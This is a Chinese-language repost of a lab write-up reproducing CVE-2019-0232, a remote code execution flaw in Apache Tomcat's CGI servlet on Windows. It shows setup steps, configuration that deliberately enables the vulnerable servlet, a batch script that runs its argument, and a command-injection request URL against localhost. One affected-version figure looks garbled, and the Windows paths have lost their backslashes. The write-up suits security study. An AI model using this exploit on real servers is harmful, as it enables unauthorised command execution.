复现CVE-2019-0232 Tomcat 远程代码执行
Posted Sec5ay
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了复现CVE-2019-0232 Tomcat 远程代码执行相关的知识,希望对你有一定的参考价值。
漏洞描述
Apache Tomcat 在启用了 enableCmdLineArguments 的 Windows 上运行时,由于 JRE 将命令行参数传递给 Windows 的方式存在错误,通过此漏洞,CGI Servlet 可以受到攻击者的远程执行代码攻击。
但是在默认情况下,Tomcat 9.0.x 中禁用了 CGI 选项 enableCmdLineArguments(默认情况下,在所有版本中都会禁用它以防御此漏洞)
影响范围
tomcat < 7.0.04
tomcat < 8.5.40
tomcat < 9.0.19
官网给出的 Tomcat Hackathon - Brussels Belgium - 4/5 May 2019
环境搭建
测试平台:Windows 10
测试环境:Jdk 8u121、Tomcat 8.5.39
安装jdk
版本要求:Jdk 8u121
安装完成,设置环境变量
新建系统变量JAVA_HOME 和CLASSPATH
变量名:JAVA_HOME
变量值:C:Program FilesJavajdk1.8.0_121
变量名:CLASSPATH
变量值:.;%JAVA_HOME%libdt.jar;%JAVA_HOME%lib ools.jar;
编辑系统环境变量中的PATH,添加
%JAVA_HOME%in;%JAVA_HOME%jrein;
安装tomcat
选择 apache-tomcat-8.5.39-windows-x64.zip
解压,进入 bin 目录下,双击运行 startup.bat
访问:http://127.0.0.1:8080
漏洞复现
编辑web.xml
该文件位于:apache-tomcat-8.5.39conf
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
...
<!-- The mapping for the CGI Gateway servlet -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
编辑content.xml
该文件位于:apache-tomcat-8.5.39conf
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
创建利用脚本
在/apache-tomcat-8.5.39/webapps/ROOT/WEB-INF下创建cgi-bin目录,创建hello.bat文件
@echo off
echo Content-Type: text/plain
echo.
set foo=%~1
%foo%
代码执行
http://127.0.0.1:8080/cgi-bin/hello.bat?dir
参考文章
http://tomcat.apache.org/oldnews.html
https://github.com/pyn3rd/CVE-2019-0232
以上是关于复现CVE-2019-0232 Tomcat 远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章
CVE-2019-0232(Apache Tomcat 远程代码执行)漏洞复现